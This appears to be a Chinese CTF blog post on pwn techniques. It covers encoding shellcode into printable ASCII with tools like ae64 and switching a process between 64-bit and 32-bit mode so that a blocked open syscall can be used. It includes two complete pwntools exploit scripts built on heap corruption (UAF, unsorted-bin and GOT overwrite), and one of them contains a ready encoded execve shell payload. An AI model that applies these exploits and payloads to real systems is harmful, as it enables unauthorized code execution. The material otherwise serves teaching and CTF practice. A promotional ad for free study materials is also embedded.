首页 > 系统相关 >ASCII码-shellcode的技巧

ASCII码-shellcode的技巧

时间:2023-08-22 10:35:07浏览次数:44  
标签:技巧 堆块 shellcode sh sendline recvuntil ASCII p64

网上已经有成熟的工具了,所以就简单记录一下工具怎么用吧

https://github.com/TaQini/alpha3

https://github.com/veritas501/ae64.git

https://github.com/rcx/shellcode_encoder

结合题目来看吧,没有开启NX保护,基本这类型题目九成九都是shellcode题

image-20230812220258102

程序一开始会让我们在bss段上输入数据,并且判断输入的字符大小是否小于0x1F,再结合NX保护没开启的操作,很容易可以想到此时输入的就是shellcode,而每个字节的不能小于0x1F,那么使用ASCII码shellcode就可以完全绕过了,因为小于0x1F的都是不可见字符

image-20230812220502748

接着再来看题目存在的漏洞,题目存在很明显的UAF漏洞

image-20230812220758365

在选项5中则是留有触发shellcode的条件,只要dword_602440不为0则直接指向我们输入的shellcode,而dword_602440位于bss段,因此默认就为0

image-20230812220848343

而在add函数中,分配堆块又恰好都在unsortbin的范围内,那么思路很清楚了,就是使用unsortbin修改dword_602440的值,那么就能触发shellcode

image-20230812221039170

剩下就是shellcode如何绕过0x1F这个限制,可以看到syscal是\xf\x5,因此syscal都无法绕过这个限制

image-20230812221435095

这里使用ae64这个工具

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

首先将需要修改的shellcode以二进制的形式导出,这里直接用pwntools生成的shellcode即可

from ae64 import AE64
from pwn import *
context.arch='amd64'
​
# get bytes format shellcode
shellcode = asm(shellcraft.sh())
​
# get alphanumeric shellcode
f = open('shellcode','wb+')
f.write(shellcode)
f.close()
​

image-20230812222658159

接着使用ae64的库直接修改为ASCII码shellcode

from pwn import *
from ae64 import AE64
​
context.arch = 'amd64'
​
​
obj = AE64()
sc = obj.encode(asm(shellcraft.sh()),'rdx')
print(sc)
​

这里rdx即为shellcode执行的时候call的寄存器

image-20230812223222314

然后就可以生成shellcode了

image-20230812223247022

紧接着拿这段生成的shellcode就可以绕过了

exp

from pwn import *
​
sh = process("./pwn")
context(arch='amd64')
​
​
def add(size):
    sh.recvuntil(" choice:")
    sh.sendline("1")
    sh.recvuntil(" message?")
    sh.sendline(str(size))
​
def delete(index):
    sh.recvuntil(" choice:")
    sh.sendline("2")
    sh.recvuntil("o be deleted?")
    sh.sendline(str(index))
​
def edit(index,content):
    sh.recvuntil(" choice:")
    sh.sendline("3")
    sh.recvuntil(" be modified?")
    sh.sendline(str(index))
    sh.recvuntil("t of the message?")
    sh.sendline(content)
​
def show(index):
    sh.recvuntil(" choice:")
    sh.sendline("4")
    sh.recvuntil(" to be showed?")
    sh.sendline(str(index))
​
def exp():
    sh.recvuntil(" choice:")
    sh.sendline("5")
payload = "RXWTYH39Yj3TYfi9WmWZj8TYfi9JBWAXjKTYfi9kCWAYjCTYfi93iWAZj3TYfi9520t800T810T850T860T870T8A0t8B0T8D0T8E0T8F0T8G0T8H0T8P0t8T0T8YRAPZ0t8J0T8M0T8N0t8Q0t8U0t8WZjUTYfi9200t800T850T8P0T8QRAPZ0t81ZjhHpzbinzzzsPHAghriTTI4qTTTT1vVj8nHTfVHAf1RjnXZP"
sh.send(payload)
add(0x81)
add(0x81)
delete(0)
edit(0, p64(0) + p64(0x602440 - 0x10))
add(0x81)
exp()
​
​
sh.interactive()

机器切换-shellcode

有时候会遇到题目需要同时使用32位shellcode与64位shellcode,那么如何进行机器切换则成为解题的关键。

CS寄存器则是用于标记机器位数的关键寄存器

  • CS=0x33,64位

  • CS=0x23,32位

那么如何修改CS寄存器的值,则需要通过retfq与retf的指令

  • refq,从64位切换到32位

    • push 0x23; #32位的CS寄存器的值
      push 0xxx; #需要跳转的地址
      retfq; #从32位切换到64位
  • ref,从32位切换至64位

    • push 0x33; #64的CS寄存器的值
      push 0xxx; #需要跳转的地址
      retf; #从64位切换到32位

再以一道题目作为例子,保护如下,还是没有开启NX保护

image-20230812224501848

题目漏洞在于,再add函数中可申请11个堆块,而题目中给堆块地址容纳的个数为10,因此申请的第11个堆块的地址则会到length中,从而导致第1个堆块的大小变成了堆块的地址值,造成了堆溢出。

image-20230812224711955

这里有个需要注意的地方是会首先检测存放堆块的位置是否为0,为0才会给该堆块申请的机会,因此第1个堆块的大小必须设置为0,才能够申请到11个堆块。

image-20230812225143067

题目还是用mallopt修改了fastbin的大小为0x10,因此使得无法释放的堆块无法放置到fastbin中,但是mallopt实际是修改了max_global_fast的大小

image-20230812225341764

但是题目存在堆溢出漏洞,因此使用修改Unsortbin的bk指针,修改global_max_fast的即可,这样就可以让堆块放进fastbin中了。

并且允许在bss段上输入数据,且该地址刚好在存放堆块地址的上方,因此伪造虚假堆块在该位置就可以完成任意地址写了。

image-20230812225458229

紧接着修改free函数的got表地址为堆块地址,就可以跳转到shellcode中执行,可以看到堆块地址也是具有可执行权限的。

image-20230812225635212

查看一下禁用了哪些函数,发现只能用read,write以及fstat函数,但是fstat函数对于这道题来说没有用。那么没有open函数,我们就没办法进行orw的利用了。

image-20230812225852456

可以看到fstat函数的64位的系统调用号为5

image-20230812230046268

但是32位下的系统调用号5为open函数

image-20230812230125078

那么如果能切换到32位下执行系统调用为5的系统调用,即可完成open函数的执行,这里就要用到上述的方法使用ref与refq指令完成机器位数的切换。

这里需要注意两个点

(1)在切换为机器位数之后栈顶的地址会被截断为4个字节,因此需要重新调整一下栈顶的地址

image-20230812230855903

(2)在机器位数切换为32位时,在执行系统调用还是会显示原来的函数,但是这个是gdb显示错误,它实际被修改为open函数了

image-20230812230929182

exp

from pwn import *
​
#sh = process("./pwn")
​
elf = ELF("pwn")
​
def user(name,desc):
    sh.recvuntil("choice:")
    sh.sendline("0")
    sh.recvuntil(" name?")      
    sh.send(name)
    sh.recvuntil("desc?")
    sh.send(desc)
​
def add(size):
    sh.recvuntil("choice:")
    sh.sendline("1")
    sh.recvuntil(" message?")
    sh.send(str(size))
​
def delete(index):
    sh.recvuntil("choice:")
    sh.sendline("2")
    sh.recvuntil(" be deleted?")
    sh.send(str(index))
​
def edit(index, offset, content):
    sh.recvuntil("choice:")
    sh.sendline("3")
    sh.recvuntil("ssage to be modified?")
    sh.send(str(index))
    sh.recvuntil("message to be modified?")
    sh.send(str(offset))
    sh.recvuntil("ent of the message?")
    sh.send(content)
​
while(1):
    try:
        sh = process("./pwn")
        add(0) #0
        add(0) #1
        add(0x60)
        for i in range(8):
            add(0x71)
        delete(1)
        payload = p64(0)*3 + p64(0x21) + p64(0) + p16(0x37f8 - 0x10)
        edit(0,0,payload)
        add(9)
        delete(2)
        delete(3)
        delete(4)
        delete(5)
        user('a'*0x10+p64(0)+p64(0x71),'b')
        target = 0x6020f0 
        payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(target)
        edit(0,0,payload)
        add(0x60)#2
        sh.recvuntil("Ptr: ")
        addr = int("0x"+sh.recv(6),16)
        log.info("addr:"+hex(addr))
        add(0x60)#3
        edit(3,0,p64(elf.got['free']))
        payload = asm('push 0x23;push '+hex(addr+9)+';retfq', arch='amd64')
        payload += asm('mov esp, '+hex(target+0x50)+';push 0x6761;push 0x6c662f2e;push esp;pop ebx; xor ecx,ecx; mov eax,5; int 0x80',arch='i386')
        payload += asm('push 0x33;push '+hex(addr+0x2b)+';retf')
        payload += asm('mov rdi,rax; mov rsi,0x602080;mov rdx, 0x100;mov rax, 0;syscall;',arch='amd64')
        payload += asm('mov rdi,1;mov rax ,1;syscall;',arch='amd64')
        edit(2,0,payload)
        edit(0,0,p64(addr))
        #attach(sh,'b*'+str(addr))
        delete(6)
        sh.interactive()
    except:
        continue

更多网安技能的在线实操练习,请点击这里>>

 

标签:技巧,堆块,shellcode,sh,sendline,recvuntil,ASCII,p64
From: https://www.cnblogs.com/hetianlab/p/17647861.html

相关文章

  • 汉译英翻译技巧(1)
     汉译英翻译技巧(1)   唐迪        2017-10-27        23895 汉译英翻译技巧(1)  减译法 汉语中的重复现象多:为了表达得清晰、明确、生动,汉语经常采用原词复现的形式,以避免因过多使用代词而导致理解困难。英语中的省略现象多......
  • 手机技巧:分享五个非常实用的生活类APP
    今天给大家整理5个非常实用的实用APP软件,感兴趣的朋友可以下载试试! 1、我的桌面·iScreen-桌面美化神器 我的桌面iScreen是一款万能桌面小组件APP,各种高颜值、用又有趣的小组件一切满足您的需求。上百个小组件,任你选择:超多实用面板:X-面板、快捷面板、APP面板、天气面板、快捷启......
  • 大学四级翻译技巧
    2018年大学英语四级翻译技巧学习都是从简单的开始。只有从简单的开始,才容易入门,才容易产生兴趣,才容易把事情进行下去。那么2018年大学英语四级翻译技巧又是什么呢?1.理解为首要原则拿到翻译题之后,先确定原句的意思。如果句子较长,可以先找主、谓、宾、定、状、补,分析清楚句子......
  • 「英语语法」一般过去时用法技巧全解
    一、首先我们了解一下什么是一般过去时? 1.概念:描述过去的状态或过去的动作。在英语中,非现在的以前都叫过去。过去发生的而现在已经结束的动作要用一般过去时来表示。2.用法:①、表示过去某个特定的时间点上存在的状态,事实,或发生的动作。②、表示过去一段时间......
  • TypeScript使用技巧
    文章目录使用技巧TypeScript内置的工具类型keyofextends限定泛型interface与type区别TypeScript作为JavaScript的超集,通过提供静态类型系统和对ES6+新特性的支持,使JavaScript开发变得更加高效和可维护。掌握TypeScript的使用技巧,可以帮助我们更好地开发和组织JavaScript项......
  • IDEA debugger 调试技巧
    参考:https://www.cnblogs.com/longesang/p/14149409.htmlhttps://blog.csdn.net/fen_dou_shao_nian/article/details/109067135......
  • 分享LED日常维护小技巧
    随着显示设备的使用越来越常态化,不管是商业场所还是企业都能见到LED显示屏的存在,在安装时或者购买前都有对LED有着相应的了解,那想要一个设备保持长久的使用年限,当然要从日常维护入手,维护的好,使用年限更长,今天小编来分享一些日常维护能用到的小知识。一、开关显示屏的步骤显示屏就跟......
  • HTTPS代理搭建技巧分享​
    HTTPS代理搭建技巧分享今天我们来分享一下如何搭建一个能够实现中间人检测和防护的HTTPS代理。保护我们的网络通信安全是至关重要的,让我们一起学习如何构建一个安全可靠的HTTPS代理吧!什么是中间人?首先,让我们来了解一下什么是中间人。中间人是指者在通信过程中,冒充通信双方的身......
  • Visual Studio 2022 实用调试技巧
    1、什么是bug?bug本意是昆⾍”或“⾍⼦”,现在⼀般是指在电脑系统或程序中,隐藏着的⼀些未被发现的缺陷或问题,简称程序漏洞。“Bug”的创始⼈格蕾丝·赫柏(GraceMurrayHopper),她是⼀位为美国海军⼯作的电脑专家,1947年9⽉9⽇,格蕾丝·赫柏对HarvardMarkII设置好17000个继电器进⾏......
  • 【pandas小技巧】--category类型补充
    category类型在pandas基础系列中有一篇介绍数据类型的文章中已经介绍过。category类型并不是python中的类型,是pandas特有的类型。category类型的优势那篇文章已经介绍过,当时只是介绍了如何将某个列的数据转换成category类型,以及转换之后给程序性能上带来的好处。本篇将补充介绍......